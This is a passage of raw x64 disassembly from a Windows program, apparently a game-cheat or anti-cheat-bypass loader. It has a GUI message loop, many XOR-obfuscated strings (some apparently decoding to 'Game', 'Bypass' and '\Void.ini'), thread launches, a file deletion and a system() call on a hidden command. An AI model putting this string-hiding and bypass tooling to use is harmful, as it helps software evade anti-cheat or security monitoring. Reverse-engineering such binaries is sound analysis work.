call fcn.140073af0
mov r9, rdi
mov r8d, esi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
test eax, eax
setne bl
mov byte [0x1401a760a], bl
movdqa xmm0, xmmword [0x140116d60]
movdqu xmmword [rbp + 0x18e0], xmm0
movdqa xmm1, xmmword [0x1401164b0]
movdqu xmmword [rbp + 0x18f0], xmm1
movdqa xmm0, xmmword [0x140116730]
movdqu xmmword [rbp + 0x1900], xmm0
mov dword [rbp + 0x1910], 0x1005254
lea rcx, [rbp + 0x18e0]
call fcn.140074090
mov r9, rax
movzx r8d, bl
mov dword [rbp + 0x118], 0x5d3f5b5e
mov dword [rbp + 0x11c], 0x79737b6f
mov word [rbp + 0x120], 0x100
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x118], al
inc rcx
cmp rcx, 8
jb 0x14006a4b0
mov byte [rbp + 0x121], r15b
mov dword [rbp - 0x50], 0x68616a4d
mov word [rbp - 0x4c], 0x100
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 4
jb 0x14006a4e0
mov byte [rbp - 0x4b], r15b
lea rdx, [rbp + 0x118]
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
test eax, eax
setne byte [0x1401a760a]
mov byte [reloc.WS2_32.dll_accept], r15b
cmp dword [rbp + 0x1c88], 0x12
je 0x14007240a
movabs r12, 0x7fffffffffffffff
movss xmm9, dword [0x1400ebf34]
movss xmm6, dword [0x1400ebfb0]
movss xmm15, dword [0x140115d3c]
movss xmm11, dword [0x1400ec0b0]
movss xmm12, dword [0x140115d40]
movss xmm14, dword [0x140115d20]
movss xmm13, dword [0x1400ebf04]
movss xmm8, dword [0x140115d38]
movss xmm7, dword [0x140115d34]
movss xmm10, dword [0x140115d28]
nop dword [rax]
nop dword [rax + rax]
cmp byte [0x1401a7a84], 0
jne 0x14007240a
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x1c80]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14006a5dd
lea rcx, [rbp + 0x1c80]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x1c80]
call qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x1400723d5
lea rcx, [0x1400788c0]
call fcn.1400e49dc
call fcn.14003f990
call fcn.1400410b0
call fcn.140022930
mov dword [rbp + 0x1c8], 0x64635d56
mov dword [rbp + 0x1cc], 0x7f79216a
mov word [rbp + 0x1d0], 0x7b
mov byte [rbp + 0x1d2], 1
mov rcx, r15
nop
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x1c8], al
inc rcx
cmp rcx, 9
jb 0x14006a620
mov byte [rbp + 0x1d2], 0
lea r8, [rbp + 0x1c8]
lea rdx, [0x1401a75e8]
lea rcx, [rbp + 0x1c00]
call fcn.140057210
nop
call fcn.14001c4b0
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rbp + 0x1cb0]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [rbp + 0x1cb8]
sub eax, dword [0x140170d38]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
divss xmm1, dword [0x1400ebf50]
mov eax, dword [rbp + 0x1cbc]
sub eax, dword [0x140170d3c]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
divss xmm0, dword [0x1400ebf4c]
mov qword [rbp + 0x13f0], 0
movss dword [rbp + 0x13e8], xmm1
movss dword [rbp + 0x13ec], xmm0
lea r8, [rbp + 0x13f0]
mov edx, 2
lea rcx, [rbp + 0x13e8]
call fcn.140028af0
movss xmm0, dword [0x1401a7104]
movss dword [rbp + 0x1400], xmm0
movss xmm1, dword [0x1401a7100]
movss dword [rbp + 0x1404], xmm1
xor edx, edx
lea rcx, [rbp + 0x1400]
call fcn.140028b40
movaps xmm0, xmm9
call fcn.140028ad0
mov eax, dword [0x1401a711c]
test eax, eax
je 0x14006a72b
cmp eax, 1
jne 0x14006a726
mov edx, 0xff000000
jmp 0x14006a730
cmp eax, 2
jne 0x14006a737
mov edx, 0xffffffff
xor ecx, ecx
call fcn.1400248a0
mov dword [rbp + 0x168], 0x6965645c
mov dword [rbp + 0x16c], 0x61694d2e
mov dword [rbp + 0x170], 0x676073
mov byte [rbp + 0x174], 1
mov rcx, r15
nop
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x168], al
inc rcx
cmp rcx, 0xb
jb 0x14006a760
mov byte [rbp + 0x174], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c60], xmm0
mov qword [rbp + 0x1c70], r15
mov qword [rbp + 0x1c78], r15
lea rax, [rbp + 0x168]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14006a7a0
lea rdx, [rbp + 0x168]
lea rcx, [rbp + 0x1c60]
call fcn.140057450
nop
mov rsi, qword [0x1401a77f0]
mov r14, qword [0x1401a77f8]
cmp rsi, r14
je 0x14006ab48
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c20], xmm0
mov qword [rbp + 0x1c30], r15
mov qword [rbp + 0x1c38], r15
mov rbx, qword [rsi + 0x10]
mov rdi, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x14006a7fe
mov rdi, qword [rsi]
cmp rbx, r12
ja 0x1400724ef
mov qword [rbp + 0x1c38], reloc.WS2_32.dll_ntohs
cmp rbx, 0xf
ja 0x14006a82b
mov qword [rbp + 0x1c30], rbx
movups xmm0, xmmword [rdi]
movups xmmword [rbp + 0x1c20], xmm0
jmp 0x14006a886
mov rax, rbx
or rax, 0xf
cmp rax, r12
jbe 0x14006a83c
mov rax, r12
jmp 0x14006a849
cmp rax, 0x16
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmovb rax, rcx
mov qword [rbp - 0x20], rax
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x1c20]
call fcn.1400573d0
mov qword [rbp + 0x1c20], rax
mov qword [rbp + 0x1c30], rbx
mov rcx, qword [rbp - 0x20]
mov qword [rbp + 0x1c38], rcx
lea r8, [rbx + 1]
mov rdx, rdi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
mov dword [rbp + 0x58], 0x61607e61
mov dword [rbp + 0x5c], 0x7279616f
mov word [rbp + 0x60], 0x7b
mov byte [rbp + 0x62], 1
mov rcx, r15
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x58], al
inc rcx
cmp rcx, 9
jb 0x14006a8b0
mov byte [rbp + 0x62], 0
lea rcx, [rbp + 0x58]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x14006a8d0
lea rcx, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rcx, qword [rbp + 0x1c20]
mov rbx, qword [rbp + 0x1c30]
cmp rbx, rax
jne 0x14006a9b1
mov r8, rbx
lea rdx, [rbp + 0x58]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14006a9b1
mov dword [rbp + 0x38], 0x6965645c
mov dword [rbp + 0x3c], 0x61694d2e
mov dword [rbp + 0x40], 0x676073
mov byte [rbp + 0x44], 1
mov rcx, r15
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x38], al
inc rcx
cmp rcx, 0xb
jb 0x14006a930
mov byte [rbp + 0x44], 0
lea rax, [rbp + 0x38]
mov rdi, 0xffffffffffffffff
nop
inc rdi
cmp byte [rax + rdi], 0
jne 0x14006a950
mov rax, qword [rbp + 0x1c78]
cmp rdi, rax
ja 0x14006a994
lea rbx, [rbp + 0x1c60]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x1c60]
mov qword [rbp + 0x1c70], rdi
mov r8, rdi
lea rdx, [rbp + 0x38]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
jmp 0x14006a9aa
xor r8d, r8d
lea r9, [rbp + 0x38]
mov rdx, rdi
lea rcx, [rbp + 0x1c60]
call fcn.140059430
mov rbx, qword [rbp + 0x1c30]
mov dword [rbp + 0x48], 0x61607e6c
mov dword [rbp + 0x4c], 0x787d6b6f
mov word [rbp + 0x50], 0x7c
mov byte [rbp + 0x52], 1
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x48], al
inc rcx
cmp rcx, 9
jb 0x14006a9d0
mov byte [rbp + 0x52], 0
lea rcx, [rbp + 0x48]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x14006a9f0
lea rcx, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rcx, qword [rbp + 0x1c20]
cmp rbx, rax
jne 0x14006aae1
mov r8, rbx
lea rdx, [rbp + 0x48]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14006aae1
movdqa xmm0, xmmword [0x140116c70]
movdqu xmmword [rbp + 0x12d0], xmm0
mov word [rbp + 0x12e0], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x12e2], 1
mov rcx, r15
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x12d0], al
inc rcx
cmp rcx, 0x11
jb 0x14006aa50
mov byte [rbp + 0x12e2], 0
lea rax, [rbp + 0x12d0]
mov rdi, 0xffffffffffffffff
nop dword [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x14006aa80
mov rax, qword [rbp + 0x1c78]
cmp rdi, rax
ja 0x14006aac7
lea rbx, [rbp + 0x1c60]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x1c60]
mov qword [rbp + 0x1c70], rdi
mov r8, rdi
lea rdx, [rbp + 0x12d0]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
jmp 0x14006aae1
xor r8d, r8d
lea r9, [rbp + 0x12d0]
mov rdx, rdi
lea rcx, [rbp + 0x1c60]
call fcn.140059430
nop
mov rdx, qword [rbp + 0x1c38]
cmp rdx, 0xf
jbe 0x14006ab22
inc rdx
mov rcx, qword [rbp + 0x1c20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006ab1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400723e4
call fcn.1400e47ac
mov qword [rbp + 0x1c30], r15
mov qword [rbp + 0x1c38], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1c20], 0
add rsi, 0x20
cmp rsi, r14
jne 0x14006a7d5
movzx eax, byte [0x1401a7a76]
test al, al
jne 0x14007222d
lea rcx, [rbp + 0x1c60]
cmp qword [rbp + 0x1c78], 0xf
cmova rcx, qword [rbp + 0x1c60]
mov r8d, 0x168
lea rdx, [0x14013a701]
call fcn.14000c160
mov eax, dword [0x1401a7a38]
test eax, eax
jne 0x14006b022
mov rcx, qword [0x1401a7148]
call fcn.1400243a0
mov eax, dword [0x1401a711c]
test eax, eax
je 0x14006abb5
cmp eax, 1
jne 0x14006abb0
call fcn.140065020
jmp 0x14006abba
cmp eax, 2
jne 0x14006abba
call fcn.140068870
mov dword [0x1401a7100], 0x42ba0000
mov dword [0x1401a7104], 0x43aa0000
movss xmm0, dword [0x140115d50]
call fcn.140028ab0
mov dword [rbp], 0x68472829
mov word [rbp + 4], 0x77
mov byte [rbp + 6], 1
mov rcx, r15
nop
lea eax, [rcx + 0xa]
xor byte [rbp + rcx], al
inc rcx
cmp rcx, 5
jb 0x14006abf0
mov byte [rbp + 6], 0
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8d, [r9 + 0x32]
lea rbx, [0x1401a7180]
mov rdx, rbx
lea rcx, [rbp]
call fcn.14004c360
call fcn.1400514b0
mov dword [rbp + 0x13e0], 0x431f0000
mov dword [rbp + 0x13e4], 0x41d80000
mov dword [rbp + 8], 0x646b6446
mov word [rbp + 0xc], 0x60
mov byte [rbp + 0xe], 1
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 8], al
inc rcx
cmp rcx, 5
jb 0x14006ac60
mov byte [rbp + 0xe], 0
lea rdx, [rbp + 0x13e0]
lea rcx, [rbp + 8]
call fcn.14004a510
test al, al
je 0x14006aded
xorps xmm0, xmm0
movups xmmword [rbp + 0x1780], xmm0
mov qword [rbp + 0x1790], r15
mov qword [rbp + 0x1798], r15
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14006acb0
mov rdx, rbx
lea rcx, [rbp + 0x1780]
call fcn.140057450
lea rdx, [rbp + 0x1780]
lea rcx, [0x1401a7610]
call fcn.140090020
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140062ce0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140063ee0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x1401a7828], 0
jne 0x14006ada7
lea rdx, [0x1401a7830]
lea rcx, [0x140170d98]
call fcn.1400616c0
mov byte [0x1401a7a76], 1
mov byte [0x1401a7a77], 1
movdqa xmm0, xmmword [0x140116ed0]
movdqu xmmword [rbp + 0x13a8], xmm0
mov word [rbp + 0x13b8], 0x100
mov rcx, r15
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x13a8], al
inc rcx
cmp rcx, 0x10
jb 0x14006ad70
mov byte [rbp + 0x13b9], 0
lea rcx, [rbp + 0x13a8]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov dword [0x1401a7a38], r15d
cmp byte [0x1401a7828], 0
je 0x14006aded
mov rcx, qword [0x1401a7140]
call fcn.140001860
mov rcx, qword [0x1401a7140]
call fcn.140001b90
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140064840]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [0x1401a72ed], 1
mov ecx, reloc.WS2_32.dll_listen
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x14006af4d
xorps xmm0, xmm0
movups xmmword [rbp + 0x1760], xmm0
mov qword [rbp + 0x1770], r15
mov qword [rbp + 0x1778], r15
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rbx + r8], 0
jne 0x14006ae20
mov rdx, rbx
lea rcx, [rbp + 0x1760]
call fcn.140057450
lea rdx, [rbp + 0x1760]
lea rcx, [0x1401a7610]
call fcn.140090020
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140063ee0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140062ce0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x1401a7828], 0
jne 0x14006af07
mov byte [0x1401a7a76], 1
mov byte [0x1401a7a77], 1
movdqa xmm0, xmmword [0x140116ed0]
movdqu xmmword [rbp + 0x1378], xmm0
mov word [rbp + 0x1388], 0x100
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x1378], al
inc rcx
cmp rcx, 0x10
jb 0x14006aed0
mov byte [rbp + 0x1389], 0
lea rcx, [rbp + 0x1378]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov dword [0x1401a7a38], r15d
cmp byte [0x1401a7828], 0
je 0x14006af4d
mov rcx, qword [0x1401a7140]
call fcn.140001860
mov rcx, qword [0x1401a7140]
call fcn.140001b90
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140064840]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [0x1401a72ed], 1
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x13d8], 0x431f0000
mov dword [rbp + 0x13dc], 0x41d80000
mov dword [rsp + 0x60], 0x757e48
mov byte [rsp + 0x64], 1
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0xa]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 3
jb 0x14006af80
mov byte [rsp + 0x64], 0
lea rdx, [rbp + 0x13d8]
lea rcx, [rsp + 0x60]
call fcn.14004a510
test al, al
je 0x14006b017
movdqa xmm0, xmmword [0x140116c20]
movdqu xmmword [rbp + 0x16b8], xmm0
movdqa xmm1, xmmword [0x140116950]
movdqu xmmword [rbp + 0x16c8], xmm1
movdqa xmm0, xmmword [0x140116a00]
movdqu xmmword [rbp + 0x16d8], xmm0
mov dword [rbp + 0x16e8], 0x1006a59
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x16b8], al
inc rcx
cmp rcx, 0x32
jb 0x14006aff0
mov byte [rbp + 0x16eb], 0
lea rcx, [rbp + 0x16b8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140023f30
mov eax, dword [0x1401a7a38]
cmp eax, 1
jne 0x140071f36
mov dword [0x1401a7100], 0x43f00000
mov dword [0x1401a7104], 0x43d90000
mov eax, dword [0x1401a711c]
test eax, eax
je 0x14006b05a
cmp eax, 1
jne 0x14006b055
call fcn.140065020
jmp 0x14006b05f
cmp eax, 2
jne 0x14006b05f
call fcn.140068870
mov dword [rbp + 0x13d0], 0x42c40000
mov dword [rbp + 0x13d4], 0x41b80000
mov dword [rbp - 0x48], 0x63656a47
mov word [rbp - 0x44], 0x100
mov rcx, r15
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx - 0x48], al
inc rcx
cmp rcx, 4
jb 0x14006b090
mov byte [rbp - 0x43], 0
lea rdx, [rbp + 0x13d0]
lea rcx, [rbp - 0x48]
call fcn.14004a510
test al, al
je 0x14006b141
cmp byte [0x1401a7828], 0
jne 0x14006b13a
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140063ee0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140062d80]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x1400788c0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x1401a7a88], r15d
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x13c8], 0x42c40000
mov dword [rbp + 0x13cc], 0x41b80000
mov dword [rbp + 0x20], 0x6c7c7248
mov dword [rbp + 0x24], 0x1007c7d
mov rcx, r15
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x20], al
inc rcx
cmp rcx, 6
jb 0x14006b180
mov byte [rbp + 0x27], 0
lea rdx, [rbp + 0x13c8]
lea rcx, [rbp + 0x20]
call fcn.14004a510
test al, al
je 0x14006b234
cmp byte [0x1401a7828], 0
jne 0x14006b22a
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140063ee0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140062d80]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x1400788c0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x1401a7a88], 1
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x13c0], 0x42c40000
mov dword [rbp + 0x13c4], 0x41b80000
mov dword [rbp + 0x30], 0x62616e47
mov dword [rbp + 0x34], 0x100767c
mov rcx, r15
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x30], al
inc rcx
cmp rcx, 6
jb 0x14006b270
mov byte [rbp + 0x37], 0
lea rdx, [rbp + 0x13c0]
lea rcx, [rbp + 0x30]
call fcn.14004a510
test al, al
je 0x14006b324
cmp byte [0x1401a7828], 0
jne 0x14006b31a
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140063ee0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140062d80]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x1400788c0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x1401a7a88], 2
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x1460], 0x42c40000
mov dword [rbp + 0x1464], 0x41b80000
mov dword [rbp + 0x158], 0x79786e59
mov dword [rbp + 0x15c], 0x62776167
mov word [rbp + 0x160], 0x100
mov rcx, r15
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x158], al
inc rcx
cmp rcx, 8
jb 0x14006b363
mov byte [rbp + 0x161], 0
lea rdx, [rbp + 0x1460]
lea rcx, [rbp + 0x158]
call fcn.14004a510
test al, al
je 0x14006b420
cmp byte [0x1401a7828], 0
jne 0x14006b416
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140063ee0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140062d80]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x1400788c0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x1401a7a88], 3
call fcn.1400514b0
call fcn.140050530
call fcn.1400514b0
cmp dword [0x1401a7a88], 0
jne 0x14006b74b
mov dword [rbp + 0x1438], 0x43d10000
mov dword [rbp + 0x143c], 0x43c98000
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x1438]
lea rcx, [0x1400ec080]
call fcn.14000eda0
call fcn.1400514b0
call fcn.1400514b0
movdqa xmm0, xmmword [0x140116240]
movdqu xmmword [rbp + 0x12e8], xmm0
mov dword [rbp + 0x12f8], 0x2d322b34
mov word [rbp + 0x12fc], 0x100
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x12e8], al
inc rcx
cmp rcx, 0x14
jb 0x14006b4a0
mov byte [rbp + 0x12fd], 0
lea rcx, [rbp + 0x12e8]
call fcn.14004a2e0
movdqa xmm0, xmmword [0x1401161d0]
movdqu xmmword [rbp + 0x1278], xmm0
mov dword [rbp + 0x1288], 0x483c2b34
mov dword [rbp + 0x128c], 0x55417b6e
mov dword [rbp + 0x1290], 0x1004747
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x1278], al
inc rcx
cmp rcx, 0x1a
jb 0x14006b500
mov byte [rbp + 0x1293], 0
lea rcx, [rbp + 0x1278]
call fcn.14004a2e0
movdqa xmm0, xmmword [0x140116c00]
movdqu xmmword [rbp + 0x1300], xmm0
mov dword [rbp + 0x1310], 0x79696f
mov byte [rbp + 0x1314], 1
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x1300], al
inc rcx
cmp rcx, 0x13
jb 0x14006b550
mov byte [rbp + 0x1314], 0
lea rcx, [rbp + 0x1300]
call fcn.14004a2e0
movdqa xmm0, xmmword [0x140116f30]
movdqu xmmword [rbp + 0x1330], xmm0
mov word [rbp + 0x1340], 0x77
mov byte [rbp + 0x1342], 1
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x1330], al
inc rcx
cmp rcx, 0x11
jb 0x14006b5a0
mov byte [rbp + 0x1342], 0
lea rcx, [rbp + 0x1330]
call fcn.14004a2e0
lea rcx, [0x1400ec080]
call fcn.140054480
lea rcx, [0x1400ec080]
call fcn.140054480
mov dword [rbp + 0x2e8], 0x5027502a
mov dword [rbp + 0x2ec], 0x62794b2e
mov dword [rbp + 0x2f0], 0x71667c71
mov dword [rbp + 0x2f4], 0x100372c
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x2e8], al
inc rcx
cmp rcx, 0xe
jb 0x14006b610
mov byte [rbp + 0x2f7], 0
lea rcx, [rbp + 0x2e8]
call fcn.140054480
movaps xmm1, xmm6
movss xmm0, dword [0x140115d24]
call fcn.140027e20
movdqa xmm0, xmmword [0x140116300]
movdqu xmmword [rbp + 0x1258], xmm0
mov dword [rbp + 0x1268], 0x44337c7d
mov dword [rbp + 0x126c], 0x546e695f
mov dword [rbp + 0x1270], 0x61574976
mov word [rbp + 0x1274], 0x45
mov byte [rbp + 0x1276], 1
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x1258], al
inc rcx
cmp rcx, 0x1d
jb 0x14006b690
mov byte [rbp + 0x1276], 0
movaps xmm0, xmmword [0x140116430]
movups xmmword [rbp + 0x1ac0], xmm0
lea rdx, [rbp + 0x1258]
lea rcx, [rbp + 0x1ac0]
call fcn.1400544b0
xor ecx, ecx
call fcn.14001df70
test al, al
je 0x14006b746
movdqa xmm0, xmmword [0x140116300]
movdqu xmmword [rbp + 0x1298], xmm0
mov dword [rbp + 0x12a8], 0x44337c7d
mov dword [rbp + 0x12ac], 0x546e695f
mov dword [rbp + 0x12b0], 0x61574976
mov word [rbp + 0x12b4], 0x45
mov byte [rbp + 0x12b6], 1
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x1298], al
inc rcx
cmp rcx, 0x1d
jb 0x14006b720
mov byte [rbp + 0x12b6], 0
lea rcx, [rbp + 0x1298]
call fcn.140064e60
call fcn.140019ce0
cmp dword [0x1401a7a88], 1
jne 0x14006c0cb
mov dword [rbp + 0x1420], 0x43d10000
mov dword [rbp + 0x1424], 0x43c98000
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x1420]
lea rcx, [0x1400ec080]
call fcn.14000eda0
call fcn.1400514b0
movaps xmm0, xmm15
call fcn.140024720
movdqa xmm0, xmmword [0x140116f40]
movdqu xmmword [rbp + 0x1598], xmm0
movdqa xmm1, xmmword [0x140116c30]
movdqu xmmword [rbp + 0x15a8], xmm1
mov word [rbp + 0x15b8], Ordinal_79
mov byte [rbp + 0x15ba], 1
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x1598], al
inc rcx
cmp rcx, 0x21
jb 0x14006b7d0
mov byte [rbp + 0x15ba], 0
movdqa xmm0, xmmword [0x140116da0]
movdqu xmmword [rbp + 0x1348], xmm0
mov word [rbp + 0x1358], WSAGetLastError
mov byte [rbp + 0x135a], 1
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0xa]
xor byte [rbp + rcx + 0x1348], al
inc rcx
cmp rcx, 0x11
jb 0x14006b810
